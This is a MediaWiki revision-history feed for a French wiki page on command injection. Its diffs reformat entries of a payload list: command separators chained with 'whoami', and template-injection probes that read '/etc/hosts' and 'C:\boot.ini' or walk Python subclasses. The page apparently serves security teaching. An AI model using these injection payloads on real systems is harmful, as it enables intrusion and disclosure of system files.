<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki.hackbbs.org/index.php?action=history&amp;feed=atom&amp;title=Web%3AInjection_de_Commandes</id>
	<title>Web:Injection de Commandes - Historique des versions</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.hackbbs.org/index.php?action=history&amp;feed=atom&amp;title=Web%3AInjection_de_Commandes"/>
	<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;action=history"/>
	<updated>2026-05-11T14:24:26Z</updated>
	<subtitle>Historique des versions pour cette page sur le wiki</subtitle>
	<generator>MediaWiki 1.42.0-alpha</generator>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93699&amp;oldid=prev</id>
		<title>Neib le 9 janvier 2024 à 01:21</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93699&amp;oldid=prev"/>
		<updated>2024-01-09T01:21:27Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 9 janvier 2024 à 03:21&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l798&quot;&gt;Ligne 798 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 798 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://github.com/payloadbox/command-injection-payload-list&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[[Category:Hacking]][[Category:Web]]&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Neib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93670&amp;oldid=prev</id>
		<title>Neib : Neib a déplacé la page Injection de Commandes vers Web:Injection de Commandes sans laisser de redirection</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93670&amp;oldid=prev"/>
		<updated>2024-01-06T13:50:39Z</updated>

		<summary type="html">&lt;p&gt;Neib a déplacé la page &lt;a href=&quot;/index.php?title=Injection_de_Commandes&amp;amp;action=edit&amp;amp;redlink=1&quot; class=&quot;new&quot; title=&quot;Injection de Commandes (page inexistante)&quot;&gt;Injection de Commandes&lt;/a&gt; vers &lt;a href=&quot;/index.php/Web:Injection_de_Commandes&quot; title=&quot;Web:Injection de Commandes&quot;&gt;Web:Injection de Commandes&lt;/a&gt; sans laisser de redirection&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;1&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 6 janvier 2024 à 15:50&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-notice&quot; lang=&quot;fr&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(Aucune différence)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</summary>
		<author><name>Neib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93582&amp;oldid=prev</id>
		<title>OldNeib : /* Windows */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93582&amp;oldid=prev"/>
		<updated>2023-12-02T18:59:29Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Windows&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 20:59&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l376&quot;&gt;Ligne 376 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 376 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-added&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ||  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  ||  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l785&quot;&gt;Ligne 785 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 784 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;amp; whoami&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;amp; whoami&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;amp;&amp;amp; whoami&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &amp;amp;&amp;amp; whoami&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{ get_user_file(&quot;C:\boot.ini&quot;) }}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{ get_user_file(&quot;C:\boot.ini&quot;) }}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{ get_user_file(&quot;/etc/hosts&quot;) }}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{ get_user_file(&quot;/etc/hosts&quot;) }}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{4+4}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{4+4}}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{4+8}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{4+8}}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{person.secret}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{person.secret}}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{person.name}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{{person.name}}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {1} + {1}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {1} + {1}&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;/nowiki&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-added&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Références ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Références ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93581&amp;oldid=prev</id>
		<title>OldNeib : /* Windows */</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93581&amp;oldid=prev"/>
		<updated>2023-12-02T18:57:45Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Windows&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;fr&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Version précédente&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Version du 2 décembre 2023 à 20:57&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l376&quot;&gt;Ligne 376 :&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Ligne 376 :&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;===== Windows =====&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;nowiki&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  `&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
